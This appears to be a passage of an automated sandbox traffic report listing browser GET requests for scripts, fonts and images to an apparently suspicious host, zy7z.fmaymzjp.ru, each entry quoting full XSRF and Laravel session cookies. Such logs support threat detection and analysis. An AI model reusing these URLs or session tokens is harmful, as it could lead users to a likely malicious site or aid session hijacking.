laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /GDSherpa-vf2.woff2 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveOrigin: https://zy7z.fmaymzjp.rusec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: fontReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /347wE6atbqEqdh9eTap4oP3ijP0DnBK1ML9kClG67104 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kllzJ6Ule9L6Fx0qoNSM4thAj1qvopA3CYWV48tXOXZ6P9btC23rhT3iaWAPAyz230 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klfIwbLVSLSioSC908IIq28jfo256bKtpoysBpcRyCwM5eM6pwReJ1jZYY4wx214 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /kllzJ6Ule9L6Fx0qoNSM4thAj1qvopA3CYWV48tXOXZ6P9btC23rhT3iaWAPAyz230 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /klfIwbLVSLSioSC908IIq28jfo256bKtpoysBpcRyCwM5eM6pwReJ1jZYY4wx214 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IkNGdUVxZ05rM0RONmRuTnZsaW5xRFE9PSIsInZhbHVlIjoiRnozenlhbmxYTko0SE01YmJRV21tRWZ1YXhhNlNTcnFYZ2xadkFpVjkrUzBGU0lqSHQ3VXJBVnRvRVFhYUM5SUF6ODN1YnhvdDRUdFJYS1h4UThBRytaeCs5VTdyK2kwMEhrYnlRR0pEdUxvREIxYWNGZTQ0QUxMUE5JS1M2UG4iLCJtYWMiOiI2NTliNGNiZGZkMjk1NTZkZjE5OWRhNzVlZGJiYTEzZjhhZmRmMDE4NTc1ODg0YTI4NmE3ZThhNGFhOTdjN2I2IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IkFSRlFESHI4NytMTmJEdWdQKzJ2WUE9PSIsInZhbHVlIjoiaHpyQS9jaVRDS1dBUnZYanVEcjhCeEViRENFdjhCOVprb0RPZ0FpY2ZwUjc2SUt6N3lQMm9VWkNnOHhWQnpCaWNTZTlLVUJrVWNGVXM0dlN2Z2FSaU1lV3B0NFlTZGE0WjhUV3JleGV2aGpCVGhqN0F6TUs1YmlaTzQ2NHg0R1ciLCJtYWMiOiI1ZmIwZDU4ZjEzMDkxMTdkYTMxNDA3NmU2OWRhZjU1ZmIwZWYxMzE5YTJjOGU4YmM2MDBkNDI4NzAyYzY2NWU4IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxa3IofquuqMbUQuTyPGrt1sdSMst9gqjd55Hwo34125 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /op3oJud2k3DXgTNTGnS1KeBo2nNYE9dm4rghus5yU9XSO9V7nZX667139 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /sqgU1SMa13J1t7Ypk2rEkYjy9WX6zW74mtvfxjHVeEurHlzb HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptySec-Fetch-Storage-Access: activeAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ef7axS3Y4pr8NYZsgU1doVRUnUfijkGfT57z9coxi90150 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijbVLCjQRzzTHREx8KhePmWwo09nyzFUUqrBrFN9wSYfxNEqh56170 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /yzxvph8FBHTfRnUghG8HROvFIxCljej3xHrko80DrsRLOYkjbCKUmFarGjBUQkYzC4gAab180 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rsLrIG7S0lb2JQ5FRGdKRqiiHPvMPFBfzmw4tSlbQghHwcqiQI0sD0ZNsXyfurNMtmcd200 HTTP/1.1Host: zy7z.fmaymzjp.ruConnection: keep-alivesec-ch-ua-platform: "Windows"User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134"sec-ch-ua-mobile: ?0Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://zy7z.fmaymzjp.ru/ZLBRFBTLXGCLJXTKQOJC3YNS3B1V7U61RI0?DDSSDYQIPEQDSASFSPKTOBMYAccept-Encoding: gzip, deflate, br, zstdAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6Ijh1SnpIU0ZmZitDeXY4dXZqSlNGanc9PSIsInZhbHVlIjoibjVJUC9oUERHbjl5TW93QS9wVVRFd0FyRUZ4ZExvNnBkY2MyaURzWGc3Q3ZlY2NtK1VISGs3YU9zSWNxdlA4L295d1NadWVoc0Zxakx2d3d2ZDQxOWFmOWZHR3JneG94Y0hwS3Yvb292dHJqTE43V3ZBenVlamdpcVZnb3AvcTMiLCJtYWMiOiI0MDYwNzAwYzk3NjVlMzRhNGUwZjRmZjgyNWFiZGY2MjExMGJjYzllOWYxMzc0ZDAyNDk1YTFiNDcyMzlkNDA5IiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6IjEzV0RYM1B1WkVpVVl2VkxJNDl4V3c9PSIsInZhbHVlIjoiVWx5UEJkckRMRUZzWjVzMU42elhkeUtrOTJsRitMN25oNlRIWUNNU0VQQ1ozaGR6UmxHSTBGU2pXeDRMSGphZGpoWEN0djk2UXBwTkFHclkxcnlFZ2x6TFVKY0xPcTJhaXB3ejROMGcyNGFrMHh1TVNZeWl3UDNuSUJodnpybU0iLCJtYWMiOiI2YzY5MGI5MzUyZmVkYjYyM2I5ODMyZWQ2ZDA5NzZmODhmMWNlY2UzNzM3Nzg5MjM0N2U3YjdhNjI5ZThmMzhlIiwidGFnIjoiIn0%3D
